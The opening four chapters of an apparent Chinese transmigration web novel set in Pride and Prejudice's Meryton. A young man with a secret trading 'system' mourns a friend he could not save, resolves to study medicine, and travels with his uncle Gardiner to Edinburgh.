《麦里屯第一英俊》
1. 第 1 章
第一章葬礼
麦里屯的墓地在教堂后方,一片缓坡上错落着灰白的石碑。四月的风从旷野上刮过来,带着新翻泥土的气息,将牧师袍角吹得猎猎作响。
西奥多·菲利普斯站在人群后排,看着那口尚未封盖的棺材被缓缓放入土中。
汤姆·伯特伦躺在那里面。十八岁,三天前还在问他借一本关于美洲旅行的书,说等夏天来了,要去伦敦碰碰运气。
现在他穿着寿衣,脸是青灰色的,嘴唇微微张开,像是还在喘那最后一口没喘完的气。
“——他体质太强,热毒内蕴,若能用对方法,或许还有转圜的余地。”
说话的是本地的巴特勒医生,一位行医逾三十年的长者,此刻正站在墓穴边上,语气里带着一种见惯生死后的疲惫笃定。他身边的医药箱已经旧得发亮,铜扣上的纹路被手指磨得模糊不清。
西奥多没有抬头看他。他盯着汤姆的脸,想起前天夜里的事。
---
那天晚上,汤姆的热度烧得滚烫,伯特伦太太的哭声隔着墙壁都听得见。
西奥多在房间里坐立不安。他知道那是什么病——不是他学过医,而是他从系统里买下的一本《常见热病鉴别与处置》的书,他在过去一年里翻过几遍。汤姆的症状和书里描述的“斑疹伤寒”几乎一模一样。
他咬了咬牙,从系统里买了两片奎宁。
他不知道这药在这个时代有没有,但他知道它能退烧。说明书上写得清清楚楚:用于治疗疟疾及各种高热症状。
他把药片藏在手心里,翻墙进了伯特伦家的后院,推开了汤姆的房门。
房间里弥漫着药草和汗液混合的酸涩气味。巴特勒医生正站在床边,手里端着一碗冒着热气的药剂——西奥多认得那味道,是催吐的草药汤。伯特伦太太跪在床边,双手绞着围裙,眼眶红肿。
“巴特勒医生,”西奥多尽量让自己的声音听起来沉稳,“我带来了一些药。它能退烧。请您——”
“什么药?”巴特勒医生转过身,目光落在他手心里那两片白色的、形状规整得不像天然产物的东西上,眉头立刻皱了起来,“这是从哪来的?”
“是……一位朋友从伦敦寄来的。”西奥多早想好了说辞,“是经过验证的有效药物。”
巴特勒医生接过药片,放在灯光下端详了片刻,然后发出一声短促的冷笑。
“这是什么?我在医学领域行医三十年,从未见过这种东西。”他把药片放回西奥多手里,语气冷了下来,“菲利普斯家的少爷,你读过几本医书?上过一天医学院?你凭什么觉得你有资格给人开药?”
“我只是——”西奥多攥紧了手里的药片,“巴特勒医生,汤姆已经烧了两天了,您的方法没有效果——”
“你这是在质疑我的医术?”巴特勒医生的声音陡然拔高,“我跟随爱丁堡的孟罗教授学习的时候,你父亲都还没出生!”
伯特伦太太站了起来,脸上的泪痕还没干,但表情已经从悲伤变成了惊慌和愤怒。
“西奥多,”她的声音在发抖,“你在做什么?巴特勒医生是镇上最好的医生——你不能——你不能这样对他的病人指手画脚!”
“伯特伦太太,我只是想——”
“你不是医生!”她几乎是在喊了,“你没有资格!你——你一个十七岁的孩子,你懂什么?!”
西奥多张了张嘴,想说那药片是有效的,想说汤姆的症状和书里写的一模一样,想说他不是胡闹——但所有的话都堵在喉咙里,一个字都出不来。
因为他不是医生。
他站在那里,手里攥着那两片能救命的药,像一个小丑。
巴特勒医生冷冷地看着他,转身对伯特伦太太说:“我建议让这孩子离开。病人需要静养,经不起折腾。”
伯特伦太太走过来,几乎是推着他往外走。西奥多想挣脱,但她的手劲大得惊人。
“求您——”他的声音被自己的慌乱压得极低,“至少——至少试一试——”
“出去。”
就在这时候,菲利普斯先生出现在门口。
他显然是听见了这边的动静赶来的。他看了一眼巴特勒医生铁青的脸,看了一眼伯特伦太太又气又急的表情,脸色沉了下来。
“西奥多,”他的声音不高,但每个字都像钉子一样钉下来,“回家。”
“父亲,我——”
“现在。”
菲利普斯先生走上前,一把攥住他的手臂,力道大得让他吃痛。他被拖出房间,拖过走廊,拖出伯特伦家的前门。夜风灌进领口,冷得他打颤。
“你在干什么?”菲利普斯先生的声音压得很低,但每一个字都带着怒意,“你一个十七岁的孩子,去跟一个行医三十年的医生争论?去给人开药?”
“那药有用!”西奥多几乎是吼出来的,“父亲,那真的有用——”
“你怎么知道?你是医生吗?你上过医学院吗?”菲利普斯先生盯着他的眼睛,“你连学徒都没当过一天,你凭什么断定你这来路不明的药比巴特勒医生的有用?”
西奥多张了张嘴,说不出话。
他不能说他有一个系统。他不能说他从系统里买了一本电子书,翻过几页,就觉得自己比一个行医三十年的医生更懂。说出来,只会让所有人觉得他疯了。二十一世纪的中国,把他养得像个巨婴,生病了去美团问诊,医生直接开药,他从小又很健康,没得过什么大病,所以接触到的医疗方面的知识少之又少。
菲利普斯先生看着他的沉默,叹了口气,把他拉回家,推进他的房间。
“待在房间里,哪儿也不许去。”他站在门口,声音疲惫,“明天早上,去给巴特勒医生和伯特伦太太道歉。”
门关上了。钥匙在锁孔里转动的声音,在寂静的夜里格外刺耳。
西奥多坐在床边,手里还攥着那两片药。
他没有睡。他听着隔壁的动静,听着巴特勒医生的马车离开,听着伯特伦太太的哭声时断时续,听着夜深了、一切都安静下来。
然后,在黎明前最黑暗的时刻,哭声又响了起来。
这一次,没有断。
他攥着那两片药的手,抖了一整夜。
---
现在汤姆下葬了。
泥土落在棺盖上的声音很闷,一下,又一下。西奥多数着那些声音,口袋里那两片奎宁还在,硌着他的大腿,像两块烧红的炭。
如果你冲上去把那碗催吐药打翻呢?如果你不管不顾地把药塞进汤姆嘴里呢?如果你当时喊得更大声、更坚决、更——
他当然知道答案。没有人会听一个十七岁少年的话。伯特伦太太不会,巴特勒医生不会,连他自己的父亲都不会。他不是医生,他没有资格,他说的话一文不值。
但那个念头像一根刺,扎在他的脑子里,翻来覆去地扎:
如果他当时是医生呢?
如果他站在那个位置上,手里拿着的不是被人质疑的“来路不明的药片”,而是一张盖着医学院印章的执照——巴特勒医生会停下来,伯特伦太太会看他,他的父亲不会把他锁在房间里。
也许汤姆就不会死。
也许。
他攥紧了袖口里的拳头,指节发白。
---
葬礼结束后,人群三三两两地散了。巴特勒医生坐上他的双轮马车离开,车轮碾过碎石路,发出细碎的声响。几个妇人在墓园门口低声议论,说伯特伦太太哭得昏了过去,被邻居搀回了家。
西奥多没有跟着人群走。他在教堂的石阶上坐了一会儿,看着汤姆的墓碑上还没有刻完的字。石匠明天会来把它完成。
他想起去年夏天,他和汤姆在河边捉鱼,汤姆一脚踩进深水区,他伸手去拉,两个人一起摔进水里,浑身湿透地爬上岸,躺在草地上大笑。
他曾经对汤姆说,我将来要画一本漫画书,主角是一只名叫汤姆的猫,还有一只叫杰瑞的老鼠。汤姆老是被杰瑞欺负。然后他被眼前的汤姆追着打
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。
那样的日子不会再有了。
他站起来,拍了拍衣摆上的灰尘,往家里走。
---
他花了三天时间来说服父亲。
不是用争吵,而是用沉默。他按时吃饭,按时出门,按时回家,像一个听话的儿子应该做的那样。但他不再提做生意的事,甚至不再提汤姆。
他只是每天早上出门,去镇上转一圈,然后回来。
第四天晚上,他在晚餐桌上说:“我想去学医。”
菲利普斯先生放下刀叉,看着他。
“去爱丁堡。”西奥多补充道,声音平静得像在说一件与自己无关的事,“学费我自己出一部分。剩下的,算我借您的。”
菲利普斯先生沉默了很久。
“是因为汤姆?”他问。
西奥多没有回答。
“那天晚上,”菲利普斯先生的声音有些涩,“我把你锁在房间里。你恨我吗?”
西奥多低下头,看着盘子里的食物。
“不恨。”他说,这是实话,“您做了您觉得对的事。”
菲利普斯先生看着他,似乎想从他的表情里读出什么。最后,他叹了口气。
“到了秋天,你舅舅加德纳先生会驾着私人马车专程送你北上。”菲利普斯先生说,“他来信说了,要亲自送你到爱丁堡,帮你把入学注册的事安顿好再回来。他在那边有些生意上的旧识,办起事来比我们方便些。”
“爱丁堡的医学院是十一月开学,你们十月初动身便够了。这中间还有几个月,你可以做些准备。我已经给学校写了信询问入学事宜,等回信来了,你就知道要备齐哪些材料了。还有,牧师那儿的品行证明,过几日我陪你去开。”
他顿了顿,看了儿子一眼,声音放得平缓了些:“你母亲那边,我去说。”
西奥多点了点头。
---
那天夜里,他躺在床上,把木匣子里的钱又数了一遍。三镑十二先令。加上父亲承诺每年给的八十镑,第一年,他的启动资金就有八十三英镑。够了。
他把硬币一枚一枚地放回匣子里,手指在那些闪亮的边缘上停留了片刻。
然后他闭上眼睛,脑海中的光屏便亮了起来。
「可用余额:800元」
也不能怪他为什么拥有系统还这么穷。因为这个余额是需要用物资去换取的,系统就像是一个交易平台,没有什么发布任务就给奖励的机制,全靠自己去搜寻物资,放到系统里换钱。但是很多东西系统都不收,在这个平常的小镇里,能放上去的东西,他都试过。连家里的家具他都试过放上去。得到的回答都是,没有回收的价值。
直到半年前,他才发现,便士竟然可以换钱,这种他每天都能接触到的、目前英国最不起眼的货币单位,被系统按铜价收了,1便士=0.5元人民币。搞清楚机制之后他才开始倒腾物资。钱是赚了不少,但花得也多。两个世界的差距太大了,而他的祖国什么都不缺,而他在1804年的英国,什么都没有。
一边赚钱一边花,基本没剩下什么,那三镑多还是没来得及去换成便士的,如果换了,估计又要被他花掉了。
他没有打算把系统告诉任何人,即使是亲人。因为他觉得,这是他和祖国的羁绊。
他想起口袋里那两片奎宁。他没有交给任何人,它们还在,提醒他一个他永远不会忘记的事实:
他的药是对的。
但他的话是错的。
因为说那句话的人,不是医生。
西奥多·菲利普斯睁开眼睛,在黑暗中无声地说:我会成为医生的。我会成为那个,当我说“这个药有用”的时候,没有人敢说“你没有资格”的人。
窗外,四月的风停了。麦里屯的街道上静悄悄的,只有远处偶尔传来一两声犬吠。
他把手心里的药片放进木匣子,和那些硬币放在一起。
然后闭上眼睛,慢慢地、安稳地,睡着了。
---
2. 第 2 章
第二章乡间的消息
消息传开的速度比西奥多预想的要快。
他本以为可以在家里安安静静地度过这几个月,等一切准备妥当再告知众人。但菲利普斯太太显然没有替他保密的打算——或者说,她根本没有意识到这是一件需要保密的事。第二天早餐桌上,她便已经开始盘算他需要带多少件衬衫、几条围巾、冬天的大衣要不要重新做一件。
“爱丁堡比这里冷得多,”她一边往他的盘子里添培根,一边忧心忡忡地说,“你父亲年轻的时候去过一次,回来说风刮得像刀子。你的厚袜子够不够?我得去问问贝茨太太,她儿子在苏格兰当过兵……”
“母亲,还有好几个月。”西奥多试图打断她。
“几个月转眼就过去了。”菲利普斯太太完全不为所动,转向两个女儿,“艾米丽,你去把我柜子里那团深蓝色的毛线找出来,我要给你哥哥织一条围巾。玛丽安,你去问问史密斯太太,她家那本《苏格兰旅行指南》还在不在,借来给你哥哥看看。”
十三岁的艾米丽应了一声,跳下椅子就跑。十岁的玛丽安却站在原地,歪着头看西奥多,眼神里带着一种他这个年纪不太能读懂的东西。
“哥哥,”她忽然问,“你要去很久吗?”
“四年。”西奥多说。
“四年是多久?”
“就是……”他想了想,“等你长到我这么高的时候,我就回来了。”
玛丽安愣了一下,然后嘴一瘪,眼泪啪嗒啪嗒地掉了下来。
西奥多顿时手足无措。他不太会哄小孩子——前世不会,这辈子也没学会。他只能笨拙地伸手去擦她的眼泪,结果越擦越多,最后玛丽安一头扎进他怀里,把脸埋在他的衣襟上,闷闷地说:“我不要你去。”
“玛丽安!”菲利普斯太太的声音严厉起来,“你哥哥是去读书,不是去打仗。不许哭。”
“可是四年好久……”玛丽安抽噎着。
“你听他把话说完。”菲利普斯太太朝西奥多使了个眼色。
西奥多会意,蹲下来跟玛丽安平视:“其实不用四年。医学院的课从十一月上到次年四月就结束了,五月我就回来了。在家里待上小半年,再去上下一年的课。所以不是一走四年,是每年只去半年。”
玛丽安抬起头,泪眼朦胧地看着他:“真的?”
“真的。你算算,十一月走,五月回,中间只有六个月。”
玛丽安掰着手指算了半天,终于确认哥哥确实不会离开太久,这才慢慢止住了哭,只是还拽着西奥多的袖子不放。
艾米丽站在楼梯口,手里还攥着那团蓝毛线,脸上的笑容也重新回来了。
这时候,九岁的弟弟乔治从门外冲进来,手里还捏着一根树枝,满脸兴奋:“哥哥!我听说你要去爱丁堡了!我也要去!”
“你去做什么?”菲利普斯太太没好气地问。
“去打架!”乔治挥舞着树枝,“苏格兰人不是很凶吗?哥哥一个人去会被欺负的!我要去保护他!”
西奥多还没来得及说话,菲利普斯太太已经一把揪住了乔治的耳朵。
“哎哟——母亲!”
“你哥哥是去读书,不是去打架!”菲利普斯太太的嗓门拔高了,“你老老实实在家待着,把乘法表背完,哪儿也不许去!”
乔治被拎着耳朵拖出了餐厅,嘴里还在喊:“可是我要保护哥哥——”
“啪”的一声,是菲利普斯太太在他屁股上拍了一巴掌。乔治的喊声变成了嚎哭,然后渐渐远了。
艾米丽忍不住笑出了声,玛丽安也破涕为笑,眼泪还挂在腮边,嘴角却翘了起来。
西奥多也跟着笑了。
---
接下来的日子里,菲利普斯家比往常热闹了许多。
先是父亲的信件往来。菲利普斯先生给爱丁堡医学院写了信,询问入学的具体事宜。回信来得比预想的快——三周之后,一封盖着爱丁堡大学印章的信件便送到了麦里屯。
那天晚餐桌上,菲利普斯先生把信从头到尾读了一遍。
“需要拉丁文基础、希腊文基础、一份品行证明、一份出生证明,还有两封推荐信,以及学费。听课券到了学校再买。”他读到这儿,抬头看了西奥多一眼,“拉丁文和希腊文,你这几年学得怎么样?”
“拉丁文应该没问题。”西奥多说。这话倒不是谦虚——他的拉丁文是跟着菲利普斯先生一句一句啃下来的,这两年已经开始读老普林尼的《自然史》了,虽然读得不快,但胜在扎实。
“希腊文呢?”
“能读,不太会说。不过医学院应该主要是读写,够用了。”
菲利普斯先生点了点头,没有多问。他知道这个儿子的底细——学什么都快,像块海绵似的,见什么吸什么。法语是跟着加德纳舅舅家的一位法国女仆学的,两年就说得比人家还流利。音乐是跟教堂的管风琴师学的,大提琴拉得不算精,但随手来一段海顿也不在话下。画画是自学的,艾米丽的素描就是他教的。连烹饪都是跟厨房女仆学的,结果现在是家里的厨神——这一点菲利普斯太太至今想不通,为什么他能跟英国的厨子学会做中国菜。
“希腊文都能读了?”菲利普斯太太从针线活上抬起头,语气里带着一点惊讶,“你什么时候学的?”
“前年冬天,下雪的时候闲着没事,翻了翻你柜子里那本希腊文词典。”西奥多说。
“闲着没事翻词典?”菲利普斯太太觉得这个说法匪夷所思。
“他就是那样的。”艾米丽在旁边插嘴,语气里带着一点无奈,“上次他闲着没事,还把咱们家的账本重新算了一遍,发现史密斯先生少找了母亲三先令。”
“那是四年前的事了。”西奥多纠正她,“而且史密斯先生不是少找,是他把六便士当成了半克朗。”
“你还去把钱要回来了。”艾米丽补充道。
“那是应该要的。”
菲利普斯太太哭笑不得地摇了摇头。她这个儿子,聪明是真聪明,较真也是真较真。小时候学什么都快,老师教一遍就会,会了就嫌无聊,然后自己找东西学。学来学去,学了一身杂七杂八的本事,也不知道有什么用。现在倒好,这些本事要去爱丁堡用了。
“信上还说了什么?”她问。
菲利普斯先生继续往下读:“关于学年安排——冬季学期从十一月开始,到次年四月结束,解剖、化学、内科这些核心课都在这个时段。五月到十月是长假,学生可以离校。夏季还有一个短学期,主要是植物学、助产这些选修课,不强制的,很多英格兰学生都直接回家。”
菲利普斯太太手里的针线活停了一下,脸上的表情明显松弛了许多。
“那岂不是五月就回来了?”
“信上写得清清楚楚。”菲利普斯先生把信折好,放进抽屉里,“我已经给加德纳写了信,请他写一封推荐信。另一封找布兰德牧师写。这些事我来办,你不用操心。”
菲利普斯太太难得没有反驳,只是点了点头,手里的针线活又继续了——那是一条深蓝色的围巾,已经织了一小半。
---
然后是牧师那边的品行证明。菲利普斯先生专门挑了一个下午,带着西奥多去拜访了麦里屯的牧师布兰德先生。布兰德先生是个和蔼的老头,头发花白,说话慢吞吞的,对菲利普斯先生很是客气。
“菲利普斯家的孩子,品行自然是好的。”布兰德先生笑眯眯地在证明上签了字,盖了章,“愿上帝保佑你,孩子。爱丁堡是个好地方,那里的医学院很有名。”
西奥多道了谢,接过那张纸。
---
真正让他觉得这件事“成了”的,是去班纳特家那天。
班纳特太太是菲利普斯太太的姐姐,住在浪博恩村,离麦里屯不远。两家人时常走动,西奥多对那条路再熟悉不过——穿过麦里屯的主街,经过磨坊,翻过一个小山坡,就能看见浪博恩那栋红砖房子。
他骑着小马,菲利普斯太太坐在马车里,旁边是艾米丽和玛丽安。乔治被留在家里,因为菲利普斯太太说“他上次把班纳特姨父的花瓶打碎了,不许去”。
一路上菲利普斯太太都在念叨:“你姨妈知道你要去爱丁堡,肯定要问东问西。她那个人你是知道的,什么事都要盘根问底。还有你表妹简,多好的姑娘。你表妹伊丽莎白……”
她顿了顿,看了西奥多一眼,嘴角
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微微翘起。
“你表妹伊丽莎白,你见了可不许跟她吵。”
西奥多假装没听见。
---
班纳特家的客厅永远是一样的热闹。
西奥多还没进门,就听见班纳特太太的声音从里面传出来:“——四年!他一个十七岁的孩子,跑到那么远的地方去,菲利普斯太太是怎么想的!”
“母亲,”一个清亮的女声打断了她,“姨妈和姨父自然有他们的考虑。您不必替他们操心。”
“我不操心谁操心?你父亲什么事都不管——”
西奥多踏进门的时候,班纳特太太正说到兴头上,看见他进来,立刻调转了矛头。
“噢,西奥多!”她张开双臂迎上来,“你母亲跟我说了,你要去爱丁堡!天哪,爱丁堡!那么远的地方!你一个孩子——”
“母亲,”那个清亮的声音又响了起来,“他下个月满十七岁了,已经不是孩子了。而且医学院五月就放假了,他不过去半年就回来了。”
西奥多循声望去。
伊丽莎白·班纳特坐在窗边的椅子上,手里捧着一本书,正挑眉看着他。她穿着一件浅蓝色的长裙,头发随意地挽在脑后,几缕碎发落在耳边。
她比他小一个月。从小就比他矮半个头,却从来不觉得自己比他矮。
“表哥来了。”伊丽莎白合上书,站起来,“来跟我们告别的?”
“来看看你们有没有想我。”西奥多说。
“想你想得不得了。”伊丽莎白一脸真诚,“你终于要走了,麦里屯的空气都要清新一些。”
“你这话说得好像我是什么污染源。”
“你不是吗?”伊丽莎白歪着头看他,“你一个人,会画画、会弹琴、会说法语、会算账、还会做饭——你把所有事情都做完了,让别人怎么办?”
“你这话说得好像我是故意的一样。”
“你不是故意的吗?”伊丽莎白掰着手指头数,“玛丽学琴,你听了两遍就能给她纠错;吉蒂学画,你随手画几笔就比她练了一个月的还好;我学法语,你张口就来,说得比我们家那只从法国来的鹦鹉还流利。你知不知道跟你做表兄妹有多累?”
伊丽莎白翻了个白眼,那白眼翻得极其用力,西奥多都担心她的眼珠子会不会回不来。
“哎……有时候我真的觉得上帝如此的不公,他给了绝世容颜,竟然还不够,竟然还给了我聪明的头脑。”
伊丽莎白伸手就要打他,西奥多早有准备,侧身一闪,躲到简身后。
“简表姐救命。”
简笑着把他从身后拉出来:“多大的人了,还跟小孩子一样。”
“是他先招惹我的。”伊丽莎白不服气。
“我说的是实话。”
“你——”
“好了好了。”简把一盘小饼干递到两人面前,“吃饼干吧,堵住嘴就不吵了。”
西奥多拿了一块,咬了一口,是姜汁口味的,甜中带辣。伊丽莎白也拿了一块,两人并排坐在窗边,难得安静了一会儿。
西奥多笑着站起来,拍了拍衣摆上的饼干屑:“走了。”
“这么快?”
“再不走,你要打我第三次了。”
伊丽莎白哼了一声,没有留他。
---
回去的路上,菲利普斯太太坐在马车里,脸上的表情比来时舒展了许多。
“你姨妈说,爱丁堡的医学院很好,出来的人都能找到好差事。”
她顿了顿,嘴角又翘了起来。
“你表妹伊丽莎白说,等你当了医生,她就不跟你吵了。”
“她说的?”西奥多问。
“她说的。”
“她上次也是这么说的。”
“那这次应该是真的。”菲利普斯太太的声音里带着笑意。
西奥多没接话,嘴角却翘了起来。
风从麦田上吹过来,带着青草和泥土的气息。四月的英格兰乡间,一切都刚刚开始生长。远处的树梢上,几只鸟在叫,声音脆生生的。
他们从小一起长大,吵架吵了十几年,谁也不让谁。但他得承认,这个表妹有时候还是挺有意思的。
3. 第 3 章
第三章启程
出发的日子定在十月初。
整个夏天,西奥多都在为这件事做准备。他把自己关在房间里,名义上是温习拉丁文和希腊文,实际上大半时间都在研究系统。便士换人民币、人民币买小商品、去各个乡里推销,一个便士就能买到一些小物件,村民们都很乐意买,这门看似不起眼的生意,利润还是挺惊人的,积少成多的便士,通通被他拿去卖给系统换取人民币。
系统里的人民币从八百变成了三千多。这个兑换游戏看来注定他只能做一些小买卖,收取便士的买卖,心里盘算着到了爱丁堡之后,该从哪里开始。
---
九月的最后一周,家里开始忙乱起来。
菲利普斯太太把西奥多的行李箱翻出来又装回去,装回去又翻出来,反复了不下五次。大衣带两件还是三件?围巾要几条?靴子呢?手套呢?那件新做的灰色外套要不要带上?
“母亲,我只去半年。”西奥多站在旁边,看着那口被塞得满满当当的箱子,觉得它随时会炸开。
“半年也是冬天。”菲利普斯太太头也不抬,又把一条围巾塞了进去,“爱丁堡的冬天能冻死人的。”
“那我带再多围巾也冻不死人。”
“你闭嘴。”
西奥多乖乖闭了嘴。
艾米丽站在门口,手里拿着一本《苏格兰旅行指南》,翻到气候那一页,念道:“爱丁堡冬季平均气温……比伦敦低三到五度。”
“听见没有?”菲利普斯太太瞪了西奥多一眼,“比伦敦低三到五度!”
“三到五度而已——”
“而已?”菲利普斯太太的声音拔高了,“你连冬天在麦里屯都要加一件马甲,到了爱丁堡怎么办?”
西奥多决定不再争论。他默默地把那条灰色的围巾从箱子里拿出来,叠好,放回去,又拿出来,又放回去——最后那条围巾还是留在了箱子里。
---
出发前三天,菲利普斯太太在晚餐桌上说了一件事。
“让威尔跟你去。”
西奥多正在喝汤,差点呛住。
“什么?”
菲利普斯太太的语气不容置疑,“你一个人去那么远的地方,身边总得有人照应。洗衣、生火、跑腿——这些事你一个人忙不过来。”
西奥多放下汤匙,看了父亲一眼。菲利普斯先生低着头继续切他的烤肉,似乎对这件事早有预料。
“母亲,”西奥多斟酌着措辞“家里更需要他。”
西奥多说,“父亲每天要出门,马厩里的事离不开人。艾米丽和玛丽安出门也需要人跟着。你把威尔给了我,家里怎么办?”
“老汤姆还在。”菲利普斯太太说,“他一个人能应付。”
“老汤姆快六十了。”西奥多耐心地说,“劈柴、赶车、喂马——这些活他一个人干不了。再说了,乔治那小子三天两头往外跑,没人看着不行。”
菲利普斯太太张了张嘴,似乎想反驳,但一时找不到理由。
西奥多趁热打铁:“而且我已经打听过了,医学院附近有很多出租的房子,走路就能到学校。我一个人住,不需要仆人伺候。洗衣做饭这些事,可以找钟点工来做。”
菲利普斯太太看了儿子一眼,又看了看丈夫,似乎在寻求支持。但菲利普斯先生只是端起酒杯喝了一口,淡淡地说:“他既然有自己的打算,就依他吧。”
“可是——”
“母亲,”西奥多放软了声音,“我是去学医的,不是去当少爷。医学院的学生大多都是自己打理生活的,何况以后出去行医,难道去哪里都要带着仆人吗?。”
这句话终于打动了菲利普斯太太。她沉默了好一会儿,最后叹了口气。
“那你答应我,到了爱丁堡,第一件事就是找个可靠的人帮你洗衣做饭。”
“我答应您。”
“每个月至少要写一封信回来。”
“每个月两封。”
“冬天多穿一件——”
“母亲。”西奥多站起来,绕过餐桌,在她额头上轻轻亲了一下,“我又不是去打仗。”
菲利普斯太太的眼眶红了,嘴上却不饶人:“你要是去打仗,我倒不操心了——至少军营里还有人管你吃饭。”
艾米丽和玛丽安在旁边偷笑,乔治趁机从盘子里偷了一块烤肉,被菲利普斯太太一眼瞪了回去。
西奥多重新坐回椅子上,端起汤碗,心里松了一口气。
威尔不跟着,他那些事就好办多了。
---
出发那天,天还没亮,西奥多就被楼下的动静吵醒了。
他披上外套下楼,发现母亲已经在厨房里忙活了。炉子上烧着水,桌上摆着刚烤好的面包、切好的火腿、一壶热茶,还有一大包用油纸包好的干粮。
“先吃早饭。”菲利普斯太太头也不回地说,“吃完了再检查一遍行李。”
西奥多坐下来,拿了一块面包,慢慢嚼着。厨房里很安静,只有炉火噼啪作响的声音和母亲偶尔翻动东西的声响。
“母亲。”他忽然开口。
“嗯?”
“到了爱丁堡,我会照顾好自己的。”
菲利普斯太太的手顿了一下,没有回头。
“我知道。”她说,声音有些哑。
门外传来马蹄声和车轮碾过碎石路的声音。西奥多站起来,透过窗户看见一辆深色的马车停在门口。加德纳舅舅从车上跳下来,搓了搓手,抬头看了看天色。
“天还没亮透呢。”他嘟囔了一声,声音隔着窗户也能听见。
西奥多提起行李箱,走到门口。菲利普斯太太跟在他身后,手里还攥着那条深蓝色的围巾。
“带上。”她把围巾塞进他手里。
“母亲,箱子里已经有两条了。”
“再带一条。”
西奥多没有再拒绝。他把围巾搭在胳膊上,转身抱了抱母亲。菲利普斯太太的身体僵了一下,然后伸手拍了拍他的背,力气大得像是要把这半年的份都拍完。
“去吧。”她松开手,退后一步,眼眶红红的,但没有哭。
西奥多点点头,提着箱子走出门去。
---
加德纳舅舅站在马车旁边,穿着一件
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深色的旅行大衣,头上戴着帽子,看起来比上次见面时又圆润了一些。
“天还没亮就赶来了。”他打着哈欠,“你母亲写信说让我早点来,我以为她要留我吃早饭,结果一进门就让我赶紧走。”
“路上再吃。”西奥多笑了笑,把行李箱递给车夫。
加德纳舅舅上下打量了他一眼,目光在他脸上停了一瞬。
“长高了。”他说。
“上个月刚量的,比去年高了半寸。”
“半寸也算高?”加德纳舅舅笑着拍了拍他的肩膀,“上车吧,趁天还没亮透,路上人少。”
西奥多回头看了一眼。
菲利普斯太太站在门口,晨光从她身后透出来,把她的影子拉得很长。艾米丽和玛丽安不知道什么时候也起来了,挤在母亲身后,朝他挥手。乔治光着脚站在台阶上,手里还攥着那根树枝,脸上的表情像是在说“等我长大了也要去”。
西奥多朝他们挥了挥手,转身上了马车。
车门关上的声音很轻,但在他耳朵里,却像是什么东西落了锁。
---
马车驶出麦里屯的时候,天刚蒙蒙亮。
街道两旁的房子还关着门窗,只有面包铺的烟囱里冒出一缕青烟。车轮碾过碎石路,发出沉闷的声响,间或夹杂着车夫赶马的吆喝声。
加德纳舅舅坐在对面,把帽子摘下来放在膝盖上,露出光溜溜的头顶。
“你母亲昨晚没睡。”他说,“我半夜到的时候,她还在给你烤面包。”
西奥多没有说话。他低头看了一眼手里那条围巾,深蓝色的,织得不算整齐,有几处明显漏了针。
“你父亲倒是放心你。”加德纳舅舅靠在座椅上,声音里带着一种商人的精明,“他说你有主意,不用人操心。”
“父亲一直很放心我。”
“那倒是。”加德纳舅舅笑了笑,“你从小就比别的孩子稳当。学什么会什么,干什么像什么。你母亲嘴上不说,心里其实得意得很。”
西奥多没有接话。他把围巾叠好,放进随身的小包里,然后转头看向窗外。
麦里屯的轮廓在晨光中渐渐模糊。教堂的尖顶、磨坊的风车、汤姆家的红砖房子——一样一样地从视野里退去,最后只剩下一条灰白色的路,伸向远方。
“舅舅。”他忽然开口。
“嗯?”
“从伦敦到爱丁堡,要走几天?”
“快则五天,慢则七八天。”加德纳舅舅说,“不过我们不赶时间,路上慢慢走就是了。到了伦敦,你先在我那里住两天,歇够了再北上。”
西奥多点了点头,没有再问。
马车继续往前走。天色渐渐亮了,远处的田野上浮着一层薄薄的雾,像是大地呼出的气息。路边的树已经开始落叶,金黄色的叶子铺了一地,车轮碾过去,发出细碎的声响。
西奥多靠在座椅上,闭上眼睛。
脑海中,那道光屏静静地亮着。
「可用余额:3,240元」
他嘴角微微翘起。
这才是他真正的行李。
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4. 第 4 章
第四章北境
从伦敦到爱丁堡的路程比西奥多预想的要漫长。
加德纳舅舅的私人马车虽然比驿车舒适,但也快不到哪里去。出了伦敦之后,道路渐渐变得崎岖,马车颠簸得厉害,西奥多不得不把书本放下——他根本看不进去一行字。
“第一次走这么远的路?”加德纳舅舅坐在对面,手里捏着一份报纸,看起来倒是悠然自得。
“嗯。”
“习惯就好。”舅舅翻了一页报纸,“我年轻时跑北边的生意,一个月要走两三趟。那时候的路比现在还差,下雨天泥能没过脚踝。”
西奥多看了他一眼。加德纳舅舅今年四十出头,身材已经开始发福,但精神很好,一双眼睛精明而温和,是那种在生意场上摸爬滚打多年、却还没有被磨去善意的人。
“舅舅,”西奥多忽然问,“您第一次去爱丁堡是什么时候?”
“二十一二岁吧,跟你差不多大。”加德纳舅舅放下报纸,想了想,“那时候跟着别人跑生意,什么都不懂,傻乎乎的。到了爱丁堡,第一件事就是被风吹掉了帽子。”
“吹掉了帽子?”
“可不是。我刚下马车,一阵风过来,帽子就没了。”加德纳舅舅摸了摸自己光溜溜的头顶,“后来我找了三条街,才在一棵树上把它够下来。从此我就知道了——在爱丁堡,帽子要扣紧了再下车。”
西奥多笑了笑,把这个忠告记在了心里。
---
马车走了六天,终于在第七天的黄昏抵达了爱丁堡。
西奥多是在车窗里第一次看见这座城市的。马车沿着一条缓坡向上爬,两旁的房屋渐渐密集起来,从乡间的零星农舍变成了整齐的石砌建筑。然后,在一个转弯之后,整座城市忽然铺展在他面前——
爱丁堡城堡高居黑色火山岩之上,灰黑巨石砌成的壁垒冷峻威严,城垛直指铅灰色天空,像一尊沉默的巨兽镇守着整座城。
下坡后驶入老城,街道陡然收窄。
两侧是六七层高的深色石楼,墙面被岁月与烟火熏得发黑,陡峭的石板屋顶层层叠叠。楼与楼挨得极近,只留出一条逼仄的天光,空气中混杂着石尘、海风与市井气息。沿路尽是药房、文具店、小酒馆与医书铺子,往来多是神色严肃的学生与学者。
再往前不多远,便是爱丁堡大学医学院所在的街区。
几栋庄重的古典石砌建筑矗立在路旁,没有老城那般拥挤阴暗,立面干净规整,窗棂排列整齐,门口偶有捧着解剖图谱、面色苍白的学生匆匆走过。石墙冷硬,空气清冽,处处透着一股严谨、冰冷、又带着求知狂热的学术气息。
风从福斯湾方向吹来,刺骨湿冷,提醒着每一个人——
这里是1805年的爱丁堡,是全欧洲医学最锋利的中心。
西奥多看得有些出神。
“漂亮吧?”加德纳舅舅的声音从对面传来,“我第一次来的时候,也是这个表情。”
马车继续往前走,穿过一条宽阔的街道,两旁是乔治王朝风格的联排建筑,整齐、庄重、带着一种北方城市特有的冷峻气质。街上的行人裹着厚实的大衣,脚步匆匆,偶尔有人抬头看一眼这辆挂着伦敦牌照的马车,然后又低下头赶自己的路。
车夫把马车停在一家旅馆门前。西奥多推开车门,一只脚刚踩到地上——
